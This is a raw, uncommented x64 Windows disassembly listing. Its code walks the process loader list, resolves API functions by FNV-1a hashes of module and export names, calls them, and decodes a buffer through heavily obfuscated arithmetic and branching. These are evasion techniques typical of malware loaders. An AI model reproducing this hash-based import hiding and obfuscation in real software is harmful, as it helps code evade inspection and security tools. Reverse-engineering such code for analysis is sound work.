mov al, byte [rdx]
test al, al
jne 0x1400fe0f8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1400fdff4
mov qword [0x14017c650], rdx
mov r13, qword [rbp - 0x28]
mov ecx, 0x99
call rdx
mov rbx, qword [0x14017c6f0]
xor eax, eax
test rbx, rbx
jne 0x1400fe2aa
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400fe1b5
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1400fe1a7
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1400fe196
cmp r8d, esi
jne 0x1400fe285
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400fe285
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400fe285
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400fe209
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400fe1fe
cmp edx, r14d
je 0x1400fe21f
test r11d, r11d
jne 0x1400fe1e9
jmp 0x1400fe285
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1400fe2a3
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1400fe2a3
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x1400fe279
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x1400fe256
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x1400fe26c
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1400fe29e
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400fe16a
jmp 0x1400fe2a0
xor eax, eax
mov rbx, rax
mov qword [0x14017c6f0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14017c6e8]
xor eax, eax
test rdx, rdx
jne 0x1400fe428
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400fe333
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1400fe325
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1400fe314
cmp r8d, esi
jne 0x1400fe403
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400fe403
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400fe403
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400fe387
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400fe37c
cmp edx, r14d
je 0x1400fe39d
test r11d, r11d
jne 0x1400fe367
jmp 0x1400fe403
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400fe421
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1400fe421
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1400fe3f7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1400fe3d4
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1400fe3ea
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1400fe41c
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400fe2e8
jmp 0x1400fe41e
xor eax, eax
mov rdx, rax
mov qword [0x14017c6e8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6e0]
xor eax, eax
test rdx, rdx
jne 0x1400fe59d
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400fe4a8
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1400fe49a
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1400fe489
cmp r8d, esi
jne 0x1400fe578
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400fe578
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400fe578
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400fe4fc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400fe4f1
cmp edx, r14d
je 0x1400fe512
test r11d, r11d
jne 0x1400fe4dc
jmp 0x1400fe578
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400fe596
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1400fe596
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1400fe56c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1400fe549
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1400fe55f
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1400fe591
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400fe45d
jmp 0x1400fe593
xor eax, eax
mov rdx, rax
mov qword [0x14017c6e0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6d8]
xor eax, eax
test rdx, rdx
jne 0x1400fe712
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400fe61d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1400fe60f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1400fe5fe
cmp r8d, esi
jne 0x1400fe6ed
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400fe6ed
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400fe6ed
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400fe671
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400fe666
cmp edx, r14d
je 0x1400fe687
test r11d, r11d
jne 0x1400fe651
jmp 0x1400fe6ed
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1400fe70b
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1400fe70b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1400fe6e1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1400fe6be
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1400fe6d4
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1400fe706
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400fe5d2
jmp 0x1400fe708
xor eax, eax
mov rdx, rax
mov qword [0x14017c6d8], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x14017c6d0], rax
jne 0x1400fe886
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400fe78f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1400fe781
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1400fe770
cmp r8d, esi
jne 0x1400fe861
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1400fe861
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400fe861
mov ebx, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1400fe7e3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400fe7d8
cmp edx, r14d
je 0x1400fe7f9
test r9d, r9d
jne 0x1400fe7c3
jmp 0x1400fe861
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x1400fe87f
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x1400fe87f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x1400fe854
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x1400fe830
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x1400fe847
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1400fe87a
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400fe744
jmp 0x1400fe87c
xor eax, eax
mov r9, rax
mov qword [0x14017c6d0], r9
mov r8, qword [0x14017c700]
test r8, r8
jne 0x1400fe90a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r9d, 0x811c9dc5
cmp rcx, rdx
je 0x1400fe8e3
movsx eax, byte [rcx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1400fe8c4
cmp r9d, 0x610c0de3
je 0x1400fe8f8
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x1400fe8fe
xor eax, eax
cmp qword [r8 + 0x30], rax
jne 0x1400fe8a9
jmp 0x1400fe900
mov r8, qword [r8 + 0x30]
jmp 0x1400fe903
xor eax, eax
mov r8, rax
mov qword [0x14017c700], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r11d, dword [r10 + r8 + 0x20]
lea edi, [rax + 1]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x1400fe95b
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x1400fe93f
cmp ecx, 0xe463da3c
je 0x1400fe960
add r9d, edi
jmp 0x1400fe923
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14017c778]
xor eax, eax
test r10, r10
jne 0x1400feafc
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400fea00
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1400fe9f2
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1400fe9e1
cmp r8d, esi
jne 0x1400fead2
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1400fead2
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400fead2
mov ebx, dword [r11 + 0x20]
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400fea54
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400fea49
cmp edx, r14d
je 0x1400fea6a
test r10d, r10d
jne 0x1400fea34
jmp 0x1400fead2
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1400feaf0
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1400feaf0
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1400feac5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x1400feaa1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x1400feab8
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1400feaeb
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400fe9b5
jmp 0x1400feaed
xor eax, eax
mov r10, rax
mov qword [0x14017c778], r10
mov edi, 1
lea r9, [rbp + 0x564]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14017c6f8]
xor eax, eax
test r8, r8
jne 0x1400fec84
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400feb8d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1400feb7f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1400feb6e
cmp r8d, esi
jne 0x1400fec5f
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400fec5f
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400fec5f
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400febe1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400febd6
cmp edx, r14d
je 0x1400febf7
test r11d, r11d
jne 0x1400febc1
jmp 0x1400fec5f
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x1400fec7d
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x1400fec7d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1400fec52
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdx
jmp 0x1400fec2e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdx
mov al, byte [r8]
test al, al
jne 0x1400fec45
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1400fec78
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400feb42
jmp 0x1400fec7a
xor eax, eax
mov r8, rax
mov qword [0x14017c6f8], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rdi, qword [rbp - 0x70]
mov rsi, qword [rbp - 0x80]
mov r15d, 1
mov edx, dword [rsp + 0x54]
add edx, r15d
mov dword [rsp + 0x54], edx
add rsi, 0x28
mov qword [rbp - 0x80], rsi
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + 6]
cmp edx, eax
mov r12d, 0xcded1a85
jl 0x1400fcd15
mov byte [rbp + 0x2f0], Ordinal_79
mov byte [rbp + 0x2f1], 0xb5
mov byte [rbp + 0x2f2], 0xb4
mov byte [rbp + 0x2f3], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2f4], xmm0
mov qword [rbp + 0x304], rax
mov dword [rbp + 0x30c], eax
mov bl, byte [rsp + 0x50]
movabs rsi, 0xf68cc1c92268c491
movabs r14, 0xa784409860cd96db
movabs r12, 0x37d6c032caef3249
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x20
jae 0x1400ff6f8
movzx r8d, byte [rbp + r9 + 0x2f0]
mov rdx, r8
cmp rdi, r9
ja 0x1400ff6f0
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1400fed7f
lea rcx, [r9 + r12]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, r15b
jmp 0x1400fedac
je 0x1400ff689
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1400ff668
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1400ff64e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1400ff610
cmp r10, r9
ja 0x1400ff6e8
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1400fedd4
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x15
jmp 0x1400fee15
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1400ff5f8
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1400ff5e1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1400ff5c7
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1400ff553
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1400ff539
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1400ff308
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1400ff2e8
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1400ff2cb
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1400ff2ae
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1400ff28e
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1400ff271
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1400ff254
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1400ff234
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1400ff217
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x1400ff1fa
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1400fee22
lea rdi, [r10 + 0x42]
lea r10, [rdi + 0x40]
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x1400ff6cd
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x1400ff6b2
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1400ff008
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x1400fefef
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1400fefd6
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1400ff1af
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1400ff167
lea rax, [r10 + 0x64]
cmp rdi, rax
jb 0x1400ff12c
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1400ff10b
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x1400fee22
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x42]
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1400ff0f2
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x1400ff0d9
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1400ff0bd
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1400ff0a4
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1400ff08b
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1400ff06f
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1400ff056
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x1400ff03d
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1400ff021
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1400fee22
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x5a]
jmp 0x1400fee22
lea ecx, [r9 - 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x75
jmp 0x1400fee15
lea ecx, [r9 + 0x11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x77
jmp 0x1400fedac
lea ecx, [r9 + 0x7f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x79
jmp 0x1400fed51
lea ecx, [r9 - 0x18]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x58
mov r11b, r9b
jmp 0x1400ff628
lea ecx, [r9 + 0x56]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5a
jmp 0x1400ff646
lea ecx, [r9 - 0x3c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1400ff649
lea ecx, [r9 + 0x32]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
mov r11b, r9b
jmp 0x1400ff4fb
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x1400ff663
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x1400ff67a
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
mov r11b, r9b
jmp 0x1400ff56b
lea ecx, [r9 - 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x66
jmp 0x1400ff596
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x1400ff69b
lea ecx, [r9 - 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6d
mov byte [rbp + r9 + 0x2f0], bl
jmp 0x1400ff6aa
lea ecx, [r9 + 0x59]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6f
cmp r10, 0x42
jb 0x1400ff11f
mov r11b, r9b
lea edx, [r11 + 0x16]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x34]
jmp 0x1400ff628
lea ecx, [r9 - 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x71
cmp rdi, 4
jae 0x1400ff4dd
lea rax, [r10 + 0x400]
cmp rdi, rax
jbe 0x1400ff482
lea edx, [r9 + 0x62]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1400ff140
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x73
lea rax, [r10 + rdi]
cmp rax, 0x400
je 0x1400ff521
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x1400ff3f0
lea edx, [r9 + 0x65]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x3d
add bl, dl
jmp 0x1400ff17b
lea edx, [r9 - 0x12]
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400ff69b
lea edx, [r9 + 0x5c]
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400ff596
mov r11b, r9b
lea edx, [r11 - 0x36]
mov al, dl
and al, r8b
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400ff56b
lea edx, [r9 + 0x38]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400ff67a
lea edx, [r9 - 0x5a]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400ff663
mov r11b, r9b
lea edx, [r11 + 0x14]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400ff4fb
lea edx, [r9 - 0x7e]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400ff649
lea edx, [r9 - 0x10]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400ff646
mov r11b, r9b
lea edx, [r11 + 0x5e]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1400ff628
lea rax, [r10 + 0x41]
cmp rdi, rax
